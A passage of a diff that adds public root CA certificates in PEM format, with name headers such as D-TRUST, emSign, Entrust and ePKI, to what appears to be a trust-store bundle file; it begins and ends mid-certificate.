+MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRF
+MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBD
+bGFzcyAzIENBIDIgMjAwOTAeFw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NTha
+ME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxJzAlBgNVBAMM
+HkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIwDQYJKoZIhvcNAQEB
+BQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOADER03
+UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42
+tSHKXzlABF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9R
+ySPocq60vFYJfxLLHLGvKZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsM
+lFqVlNpQmvH/pStmMaTJOKDfHR+4CS7zp+hnUquVH+BGPtikw8paxTGA6Eian5Rp
+/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUCAwEAAaOCARowggEWMA8G
+A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ4PGEMA4G
+A1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVj
+dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUy
+MENBJTIwMiUyMDIwMDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRl
+cmV2b2NhdGlvbmxpc3QwQ6BBoD+GPWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3Js
+L2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAwOS5jcmwwDQYJKoZIhvcNAQEL
+BQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm2H6NMLVwMeni
+acfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0
+o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4K
+zCUqNQT4YJEVdT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8
+PIWmawomDeCTmGCufsYkl4phX5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3Y
+Johw1+qRzT65ysCQblrGXnRl11z+o+I=
+-----END CERTIFICATE-----
+
+# D-TRUST Root Class 3 CA 2 EV 2009
+-----BEGIN CERTIFICATE-----
+MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRF
+MRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBD
+bGFzcyAzIENBIDIgRVYgMjAwOTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUw
+NDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxELVRydXN0IEdtYkgxKjAoBgNV
+BAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAwOTCCASIwDQYJKoZI
+hvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfSegpn
+ljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM0
+3TP1YtHhzRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6Z
+qQTMFexgaDbtCHu39b+T7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lR
+p75mpoo6Kr3HGrHhFPC+Oh25z1uxav60sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8
+HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure3511H3a6UCAwEAAaOCASQw
+ggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyvcop9Ntea
+HNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFw
+Oi8vZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xh
+c3MlMjAzJTIwQ0ElMjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1E
+RT9jZXJ0aWZpY2F0ZXJldm9jYXRpb25saXN0MEagRKBChkBodHRwOi8vd3d3LmQt
+dHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xhc3NfM19jYV8yX2V2XzIwMDku
+Y3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+PPoeUSbrh/Yp
+3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05
+nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNF
+CSuGdXzfX2lXANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7na
+xpeG0ILD5EJt/rDiZE4OJudANCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqX
+KVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVvw9y4AyHqnxbxLFS1
+-----END CERTIFICATE-----
+
+# emSign ECC Root CA - C3
+-----BEGIN CERTIFICATE-----
+MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQG
+EwJVUzETMBEGA1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMx
+IDAeBgNVBAMTF2VtU2lnbiBFQ0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAw
+MFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
+biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQDExdlbVNpZ24gRUND
+IFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd6bci
+MK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4Ojavti
+sIGJAnB9SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0O
+BBYEFPtaSNCAIEDyqOkAB2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMB
+Af8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQC02C8Cif22TGK6Q04ThHK1rt0c
+3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwUZOR8loMRnLDRWmFLpg9J
+0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ==
+-----END CERTIFICATE-----
+
+# emSign ECC Root CA - G3
+-----BEGIN CERTIFICATE-----
+MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQG
+EwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNo
+bm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g
+RzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4MTgzMDAwWjBrMQswCQYDVQQGEwJJ
+TjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9s
+b2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMw
+djAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0
+WXTsuwYc58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xyS
+fvalY8L1X44uT6EYGQIrMgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuB
+zhccLikenEhjQjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggq
+hkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+DCBeQyh+KTOgNG3qxrdWB
+CUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7jHvrZQnD
++JbNR6iC8hZVdyR+EhCVBCyj
+-----END CERTIFICATE-----
+
+# emSign Root CA - C1
+-----BEGIN CERTIFICATE-----
+MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkG
+A1UEBhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEg
+SW5jMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAw
+MFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UEBhMCVVMxEzARBgNVBAsTCmVtU2ln
+biBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNpZ24gUm9v
+dCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+upufGZ
+BczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZ
+HdPIWoU/Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH
+3DspVpNqs8FqOp099cGXOFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvH
+GPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4VI5b2P/AgNBbeCsbEBEV5f6f9vtKppa+c
+xSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleoomslMuoaJuvimUnzYnu3Yy1
+aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+XJGFehiq
+TbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
+BQADggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87
+/kOXSTKZEhVb3xEp/6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4
+kqNPEjE2NuLe/gDEo2APJ62gsIq1NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrG
+YQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9wC68AivTxEDkigcxHpvOJpkT
++xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQBmIMMMAVSKeo
+WXzhriKi4gp6D/piq1JM4fHfyr6DDUI=
+-----END CERTIFICATE-----
+
+# emSign Root CA - G1
+-----BEGIN CERTIFICATE-----
+MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYD
+VQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBU
+ZWNobm9sb2dpZXMgTGltaXRlZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBH
+MTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgxODMwMDBaMGcxCzAJBgNVBAYTAklO
+MRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVkaHJhIFRlY2hub2xv
+Z2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIBIjAN
+BgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQz
+f2N4aLTNLnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO
+8oG0x5ZOrRkVUkr+PHB1cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aq
+d7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHWDV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhM
+tTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ6DqS0hdW5TUaQBw+jSzt
+Od9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrHhQIDAQAB
+o0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQD
+AgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31x
+PaOfG1vR2vjTnGs2vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjM
+wiI/aTvFthUvozXGaCocV685743QNcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6d
+GNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q+Mri/Tm3R7nrft8EI6/6nAYH
+6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeihU80Bv2noWgby
+RQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx
+iN66zB+Afko=
+-----END CERTIFICATE-----
+
+# Entrust.net Premium 2048 Secure Server CA
+-----BEGIN CERTIFICATE-----
+MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChML
+RW50cnVzdC5uZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBp
+bmNvcnAuIGJ5IHJlZi4gKGxpbWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5
+IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNVBAMTKkVudHJ1c3QubmV0IENlcnRp
+ZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQxNzUwNTFaFw0yOTA3
+MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3d3d3
+LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxp
+YWIuKTElMCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEG
+A1UEAxMqRW50cnVzdC5uZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgp
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArU1LqRKGsuqjIAcVFmQq
+K0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOLGp18EzoOH1u3Hs/lJBQe
+sYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSrhRSGlVuX
+MlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVT
+XTzWnLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/
+HoZdenoVve8AjhUiVBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH
+4QIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
+HQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJKoZIhvcNAQEFBQADggEBADub
+j1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPyT/4xmf3IDExo
+U8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf
+zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5b
+u/8j72gZyxKTJ1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+
+bYQLCIt+jerXmCHG8+c8eS9enNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/Er
+fF6adulZkMV8gzURZVE=
+-----END CERTIFICATE-----
+
+# Entrust Root Certification Authority
+-----BEGIN CERTIFICATE-----
+MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMC
+VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0
+Lm5ldC9DUFMgaXMgaW5jb3Jwb3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMW
+KGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsGA1UEAxMkRW50cnVzdCBSb290IENl
+cnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0MloXDTI2MTEyNzIw
+NTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkw
+NwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSBy
+ZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNV
+BAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJ
+KoZIhvcNAQEBBQADggEPADCCAQoCggEBALaVtkNC+sZtKm9I35RMOVcF7sN5EUFo
+Nu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYszA9u3g3s+IIRe7bJWKKf4
+4LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOwwCj0Yzfv9
+KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGI
+rb68j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi
+94DkZfs0Nw4pgHBNrziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOB
+sDCBrTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAi
+gA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1MzQyWjAfBgNVHSMEGDAWgBRo
+kORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DHhmak8fdLQ/uE
+vW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
+A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9t
+O1KzKtvn1ISMY/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6Zua
+AGAT/3B+XxFNSRuzFVJ7yVTav52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP
+9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTSW3iDVuycNsMm4hH2Z0kdkquM++v/
+eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0tHuu2guQOHXvgR1m
+0vdXcDazv/wor3ElhVsT/h5/WrQ8
+-----END CERTIFICATE-----
+
+# Entrust Root Certification Authority - EC1
+-----BEGIN CERTIFICATE-----
+MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkG
+A1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3
+d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVu
+dHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEzMDEGA1UEAxMq
+RW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRUMxMB4XDTEy
+MTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYwFAYD
+VQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0
+L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0g
+Zm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBD
+ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEVDMTB2MBAGByqGSM49AgEGBSuBBAAi
+A2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHyAsWfoPZb1YsGGYZPUxBt
+ByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef9eNi1KlH
+Bz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
+BBYEFLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVC
+R98crlOZF7ZvHH3hvxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nX
+hTcGtXsI/esni0qU+eH6p44mCOh8kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
+-----END CERTIFICATE-----
+
+# Entrust Root Certification Authority - G2
+-----BEGIN CERTIFICATE-----
+MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMC
+VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50
+cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3Qs
+IEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVz
+dCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMDkwNzA3MTcy
+NTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVu
+dHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwt
+dGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0
+aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmlj
+YXRpb24gQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
+AoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP/vaCeb9zYQYKpSfYs1/T
+RU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXzHHfV1IWN
+cCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hW
+wcKUs/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1
+U1+cPvQXLOZprE4yTGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0
+jaWvYkxN4FisZDQSA/i2jZRjJKRxAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAP
+BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ60B7vfec7aVHUbI2fkBJmqzAN
+BgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5ZiXMRrEPR9RP/
+jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
+Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v
+1fN2D807iDginWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4R
+nAuknZoh8/CbCzB428Hch0P+vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmH
+VHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xOe4pIb4tF9g==
+-----END CERTIFICATE-----
+
+# ePKI Root Certification Authority
+-----BEGIN CERTIFICATE-----
+MIIFsDCCA5igAwIBAgIQFci9ZUdcr7iXAF7kBtK8nTANBgkqhkiG9w0BAQUFADBe
+MQswCQYDVQQGEwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0
+ZC4xKjAoBgNVBAsMIWVQS0kgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAe
+Fw0wNDEyMjAwMjMxMjdaFw0zNDEyMjAwMjMxMjdaMF4xCzAJBgNVBAYTAlRXMSMw
+IQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEqMCgGA1UECwwhZVBL
+SSBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIICIjANBgkqhkiG9w0BAQEF
+AAOCAg8AMIICCgKCAgEA4SUP7o3biDN1Z82tH306Tm2d0y8U82N0ywEhajfqhFAH
+SyZbCUNsIZ5qyNUD9WBpj8zwIuQf5/dqIjG3LBXy4P4AakP/h2XGtRrBp0xtInAh
+ijHyl3SJCRImHJ7K2RKilTza6We/CKBk49ZCt0Xvl/T29de1ShUCWH2YWEtgvM3X
+DZoTM1PRYfl61dd4s5oz9wCGzh1NlDivqOx4UXCKXBCDUSH3ET00hl7lSM2XgYI1
+TBnsZfZrxQWh7kcT1rMhJ5QQCtkkO7q+RBNGMD+XPNjX12ruOzjjK9SXDrkb5wdJ
+fzcq+Xd4z1TtW0ado4AOkUPB1ltfFLqfpo0kR0BZv3I4sjZsN/+Z0V0OWQqraffA
+sgRFelQArr5T9rXn4fg8ozHSqf4hUmTFpmfwdQcGlBSBVcYn5AGPF8Fqcde+S/uU
+WH1+ETOxQvdibBjWzwloPn9s9h6PYq2lY9sJpx8iQkEeb5mKPtf5P0B6ebClAZLS
+nT0IFaUQAS2zMnaolQ2zepr7BxB4EW/hj8e6DyUadCrlHJhBmd8hh+iVBmoKs2pH
+dmX2Os+PYhcZewoozRrSgx4hxyy/vv9haLdnG7t4TY3OZ+XkwY63I2binZB1NJip
+NiuKmpS5nezMirH4JYlcWrYvjB9teSSnUmjDhDXiZo1jDiVN1Rmy5nk3pyKdVDEC
+AwEAAaNqMGgwHQYDVR0OBBYEFB4M97Zn8uGSJglFwFU5Lnc/QkqiMAwGA1UdEwQF
+MAMBAf8wOQYEZyoHAAQxMC8wLQIBADAJBgUrDgMCGgUAMAcGBWcqAwAABBRFsMLH
+ClZ87lt4DJX5GFPBphzYEDANBgkqhkiG9w0BAQUFAAOCAgEACbODU1kBPpVJufGB
+uvl2ICO1J2B01GqZNF5sAFPZn/KmsSQHRGoqxqWOeBLoR9lYGxMqXnmbnwoqZ6Yl
+PwZpVnPDimZI+ymBV3QGypzqKOg4ZyYr8dW1P2WT+DZdjo2NQCCHGervJ8A9tDkP
+JXtoUHRVnAxZfVo9QZQlUgjgRywVMRnVvwdVxrsStZf0X4OFunHB2WyBEXYKCrC/
+gpf36j36+uwtqSiUO1bd0lEursC9CBWMd1I0ltabrNMdjmEPNXubrjlpC2JgQCA2
+j6/7Nu4tCEoduL+bXPjqpRugc6bY+G7gMwRfaKonh+3ZwZCc7b3jajWvY9+rGNm6
+5ulK6lCKD2GTHuItGeIwlDWSXQ62B68ZgI9HkFFLLk3dheLSClIKF5r8GrBQAuUB
+o2M3IUxExJtRmREOc5wGj1QupyheRDmHVi03vYVElOEMSyycw5KFNGHLD7ibSkNS
+/jQ6fbjpKdx2qcgw+BRxgMYeNkh0IkFch4LoGHGLQYlE535YW6i4jRPpp2zDR+2z
+Gp1iro2C6pSe3VkQw63d4k3jMdXH7OjysP6SHhYKGvzZ8/gntsm+HbRsZJB/9OTE
+W9c3rkIO3aQab3yIVMUWbuF6aC74Or8NpDyJO3inTmODBCEIZ43ygknQW/2xzQ+D
+hNQ+IIX3Sj0rnP0qCglN6oH4EZw=
+-----END CERTIFICATE-----
+
+# e-Szigno Root CA 2017
+-----BEGIN CERTIFICATE-----
+MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
+BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
+LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
+b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
